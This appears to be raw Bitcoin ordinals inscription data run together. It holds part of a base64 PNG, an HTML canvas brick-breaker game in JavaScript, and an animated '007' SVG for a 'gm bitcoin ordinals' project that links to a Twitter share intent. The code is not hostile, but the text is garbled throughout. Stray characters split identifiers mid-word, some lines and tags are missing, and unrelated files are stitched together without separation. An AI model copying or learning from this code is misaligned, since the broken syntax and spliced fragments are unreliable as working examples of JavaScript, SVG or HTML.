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" class="background"><div class="game"><M
canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G",M
"G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWiM
dth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWiM
dth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-balM
l.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keM/
ydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intent/tweet?text=${encodeURI('gm from 007 to bM
itcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
      var bd = document.querySelector('.b');
lassList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#4D4DC6')
      document.querySelector('.m2').setAttribute('fill', '#7A7AD3')
      document.querySelector('.m3').setAttribute('fill', '#6363D6')
      document.querySelector('.m4').setAttribute('fill', '#5151C8')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;}
    .bgGN stop:nth-child(1) {stop-color: M
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #232282;}
    .m0GN stop:nth-child(2) {stop-color: #242390;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
    .sngm { animation: sngm 1s linear forwards; }
ngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.M
3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.02 5c-2.7 0-4.767-.767-6.2-2.3-1.434-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.8M
5-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45ZM75.346 545h-11.1v-5h16.5v4.8l-8.6 30.2h-5.6l8.8-30Zm21.47-5h4.749l-13.8 35h-4.75l13.8-35Z" class="007/"/>
    <path fill="#000" d="M110.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.444-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.955.475 3.844 1.426c.889.951 1.33M
3 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.888.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 M
1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <g class="gmbtcio">
      <path fill="#000" d="M107.915 578.15c-.76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .69-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.215-.57.29-1.23.435-1.98.435Zm-.075-3.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 M
0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.83.3-.54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.07.115 1.5.345.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.125 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.17-.65-.255-1.05-.255s-.755.085-1.065.255c-.3.17-.535.41-.705.72-.17.3-.255.655-.255 1.065 0 .4.085.755.255 1.065.17.31.405.M
55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.3 0-.57.06-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.525c-.14.22-.21.49-.21.81l-.93-.36c.05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035M
-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.005.93.25.4.375.88.375 1.44V575h-1.65Z"/>
      <path fill="#FF7F7C" d="M130.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.335-.465 1.905-.3.56-.715 1.005-1.245 1.335-.52.33-1.105.495-1.755.495Zm-.27-1.56c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78M
.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-.765a1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.18-.55.435-.72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.57-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.495-1.905c0-.71.165-1.345.495-1.905.33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1M
.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095a1.913 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0-.775.095-1.095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.795.21-.21.475-.315.795-.315.32 0 .58.105.78.315.21.21.315.475.315.795 0 .31-.10M
5.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65Zm.825-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705c0-.28.09-.515.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.005 1.365-1.335.57-.34 1.205-.51 1.905-.51.71 0 1.35.165 1.92.495.57.33 1.02.78 1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.M
51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1.59c.41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-.705.27-1.125 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.19-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <circle cx="300" cy="300" r="244" fill="#D9D9D9" stroke="#fff" stroke-width="20" class="ol"/>
      <mask id="a" width="468" height="4M
68" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-type:alpha">
        <circle cx="300" cy="300" r="234" fill="#FCE07D" class="cm"/>
      <g mask="url(#a)">
        <g class="ci">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250 26.5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0M
 0 437 244Zm-280 9a5 5 0 1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z" class="Union" clip-rule="evenodd"/>
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12" opacity=".5"/>
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" class="Ellipse 13" opacity=".4"/>
          <circle cx="300.454" cy="202.454" r="55.752" fill="url(#e)" class="Ellipse 14"/>
 fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.167 3.45 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.433-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.05-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0-2.267.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.6 5.85-1.6 1.866 0 3.5M
16.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.967 2.317-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.667-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 0 2.7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.05 0v-14.35c0-1.767-.5M
5-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.233-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-3.1c1.4-.767 2.933-1.1M
5 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class="gm"/>
        <g class="moon" opacity=".01">
          <circle cx="300" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="300" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="300.5" cy="193.5" r="40.5" fill="#fff" class="Ellipse 14" opacity=".1"/>
          <path fill="#fff" fill-rule="evenodd" d="M280.73 228.393c22.371 M
0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20.092-34.993 22.024.4 39.755 18.378 39.755 40.498 0 22.371-18.135 40.506-40.506 40.506a40.325 40.325 0 0 1-20.414-5.512c.25.004.5.006.751.006Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <path fill="#8D6054" fill-rule="evenodd" d="M450.147 253h1.706v25.564h2.559v12.782h7.676v15.339h14.5v40.05H480V472h-58V346.735h3.412v-40.05h14.5v-15.339h7.676v-12.782h2.559V253ZM435 321.5h-5v5h5v-5Zm0 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7hM
5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm14-56h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm4-56h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm14-56h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm4-56h5v5h-5v-5Zm5 7h-5v5hM
5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Zm5 7h-5v5h5v-5Zm-5 7h5v5h-5v-5Z" class="m4" clip-rule="evenodd"/>
        <path fill="#BB644D" fill-rule="evenodd" d="M387.36 202h2.31v26.713h14.63v46.557h7.7V505h-77V346.249h4.62V275.27h12.32v-19.844h4.62v-26.713h23.87v-19.081h2.31v19.081h4.62V202Zm12.32 31.292h-3.85v9.159h3.85v-9.159Zm0 14.501h-3.85v9.159h3.85v-9.159Zm-3.85 14.502h3.85v9.158h-3.85v-9.158Zm-4.62-29.003h-3.85v9.159h3.85v-9.159Zm-3.85 14.501h3.85v9.159h-3.85v-9.159Zm3M
.85 14.502h-3.85v9.158h3.85v-9.158Zm-12.32-29.003h3.85v9.159h-3.85v-9.159Zm3.85 14.501h-3.85v9.159h3.85v-9.159Zm-12.32-14.501h3.85v9.159h-3.85v-9.159Zm3.85 14.501h-3.85v9.159h3.85v-9.159Zm-12.32-14.501h3.85v9.159h-3.85v-9.159Z" class="m3" clip-rule="evenodd"/>
        <path fill="#EA6A50" fill-rule="evenodd" d="M219.843 275h-1.635v25.37h-4.087v6.547h-4.087v1.637h1.635v6.547h-8.174v1.637h1.634v12.276h-9.809v1.637h2.453l17.475 18.953v167.641h10.824V349.604l17.476-18.953H246v-1.637h-9.809v-12.276h1.635v-1.637h-8.174v-M
